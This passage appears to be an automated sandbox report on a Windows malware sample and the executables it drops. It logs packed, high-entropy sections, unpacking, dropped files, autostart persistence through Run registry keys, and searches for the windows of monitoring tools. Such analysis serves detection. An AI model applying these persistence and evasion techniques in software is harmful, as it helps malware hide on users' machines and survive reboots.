Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002600001\test.exe	Section loaded: apphelp.dll

Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2985472 > 1048576

Source: file.exe

Static PE information: Raw size of hzcsxlrx is bigger than: 0x100000 < 0x2ad400

Source:	Binary string: my_library.pdbU source: 76bf5a4dba.exe, 00000014.00000003.2307921520.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000014.00000002.2348423588.000000000034C000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: my_library.pdb source: 76bf5a4dba.exe, 00000014.00000003.2307921520.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000014.00000002.2348423588.000000000034C000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, 0000000A.00000003.1531142998.0000000004990000.00000004.00001000.00020000.00000000.sdmp, M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, 0000000A.00000002.1667557254.00000000000C2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Unpacked PE file: 10.2.M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.c0000.0.unpack :EW;.rsrc:W;.idata :W;fbnfxrsu:EW;rjcetyim:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Unpacked PE file: 11.2.4XW8W5G3AUTSGA2M5UZH7L9.exe.290000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cicynwpg:EW;whvjoyjd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cicynwpg:EW;whvjoyjd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 12.2.skotes.exe.420000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cicynwpg:EW;whvjoyjd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cicynwpg:EW;whvjoyjd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 13.2.skotes.exe.420000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cicynwpg:EW;whvjoyjd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cicynwpg:EW;whvjoyjd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.420000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cicynwpg:EW;whvjoyjd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cicynwpg:EW;whvjoyjd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Unpacked PE file: 19.2.100bc97ff1.exe.400000.0.unpack :EW;.rsrc:W;.idata :W;hzcsxlrx:EW;hrhicodq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hzcsxlrx:EW;hrhicodq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Unpacked PE file: 20.2.76bf5a4dba.exe.320000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ksqqhkwn:EW;kdggtfho:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ksqqhkwn:EW;kdggtfho:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Unpacked PE file: 21.2.100bc97ff1.exe.400000.0.unpack :EW;.rsrc:W;.idata :W;hzcsxlrx:EW;hrhicodq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hzcsxlrx:EW;hrhicodq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Unpacked PE file: 40.2.76bf5a4dba.exe.320000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ksqqhkwn:EW;kdggtfho:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ksqqhkwn:EW;kdggtfho:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: test.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0x5e46a
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: real checksum: 0x2cd5fa should be: 0x2cf7a9
Source: num[1].exe.17.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: real checksum: 0x1d3ce8 should be: 0x1cefd4
Source: random[1].exe.17.dr	Static PE information: real checksum: 0x2daf14 should be: 0x2e6ba8
Source: skotes.exe.11.dr	Static PE information: real checksum: 0x1d3ce8 should be: 0x1cefd4
Source: random[1].exe0.17.dr	Static PE information: real checksum: 0x20d6bc should be: 0x21467e
Source: num.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: real checksum: 0x2cd5fa should be: 0x2cf7a9
Source: 100bc97ff1.exe.17.dr	Static PE information: real checksum: 0x2daf14 should be: 0x2e6ba8
Source: file.exe	Static PE information: real checksum: 0x2daf14 should be: 0x2e6ba8
Source: test[1].exe.17.dr	Static PE information: real checksum: 0x0 should be: 0x5e46a
Source: 76bf5a4dba.exe.17.dr	Static PE information: real checksum: 0x20d6bc should be: 0x21467e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: hzcsxlrx
Source: file.exe	Static PE information: section name: hrhicodq
Source: file.exe	Static PE information: section name: .taggant
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: section name:
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: section name: .idata
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: section name: fbnfxrsu
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: section name: rjcetyim
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: section name: .taggant
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name:
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name: .idata
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name:
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name: cicynwpg
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name: whvjoyjd
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.11.dr	Static PE information: section name:
Source: skotes.exe.11.dr	Static PE information: section name: .idata
Source: skotes.exe.11.dr	Static PE information: section name:
Source: skotes.exe.11.dr	Static PE information: section name: cicynwpg
Source: skotes.exe.11.dr	Static PE information: section name: whvjoyjd
Source: skotes.exe.11.dr	Static PE information: section name: .taggant
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name: hzcsxlrx
Source: random[1].exe.17.dr	Static PE information: section name: hrhicodq
Source: random[1].exe.17.dr	Static PE information: section name: .taggant
Source: 100bc97ff1.exe.17.dr	Static PE information: section name:
Source: 100bc97ff1.exe.17.dr	Static PE information: section name: .idata
Source: 100bc97ff1.exe.17.dr	Static PE information: section name: hzcsxlrx
Source: 100bc97ff1.exe.17.dr	Static PE information: section name: hrhicodq
Source: 100bc97ff1.exe.17.dr	Static PE information: section name: .taggant
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: ksqqhkwn
Source: random[1].exe0.17.dr	Static PE information: section name: kdggtfho
Source: random[1].exe0.17.dr	Static PE information: section name: .taggant
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name:
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name: .rsrc
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name: .idata
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name:
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name: ksqqhkwn
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name: kdggtfho
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name: .taggant
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: section name:
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: section name: .idata
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: section name: fbnfxrsu
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: section name: rjcetyim
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A708 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011388B7 push eax; ret	0_3_011388C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011388B3 push eax; ret	0_3_011388C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011388B3 push eax; ret	0_3_011388C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0112F0F1 push ds; ret	0_3_0112F0F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01141F4A push ebx; ret	0_3_01141F91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113F297 push edx; iretd	0_3_0113F299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011388B3 push eax; ret	0_3_011388C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011388B3 push eax; ret	0_3_011388C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0113A700 push edx; iretd	0_3_0113A70D

Source: file.exe	Static PE information: section name: entropy: 7.970847626312372
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.0.dr	Static PE information: section name: entropy: 7.7642385647424526
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name: entropy: 7.980694249492091
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe.0.dr	Static PE information: section name: cicynwpg entropy: 7.954903561808911
Source: skotes.exe.11.dr	Static PE information: section name: entropy: 7.980694249492091
Source: skotes.exe.11.dr	Static PE information: section name: cicynwpg entropy: 7.954903561808911
Source: random[1].exe.17.dr	Static PE information: section name: entropy: 7.970847626312372
Source: 100bc97ff1.exe.17.dr	Static PE information: section name: entropy: 7.970847626312372
Source: random[1].exe0.17.dr	Static PE information: section name: ksqqhkwn entropy: 7.953429987583825
Source: 76bf5a4dba.exe.17.dr	Static PE information: section name: ksqqhkwn entropy: 7.953429987583825
Source: Q5PCC4NA5LRKC8PQDTEQRA.exe.19.dr	Static PE information: section name: entropy: 7.7642385647424526

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002600001\test.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\test[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File created: C:\Users\user\AppData\Local\Temp\Q5PCC4NA5LRKC8PQDTEQRA.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 76bf5a4dba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ee3f3c2bda.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 100bc97ff1.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
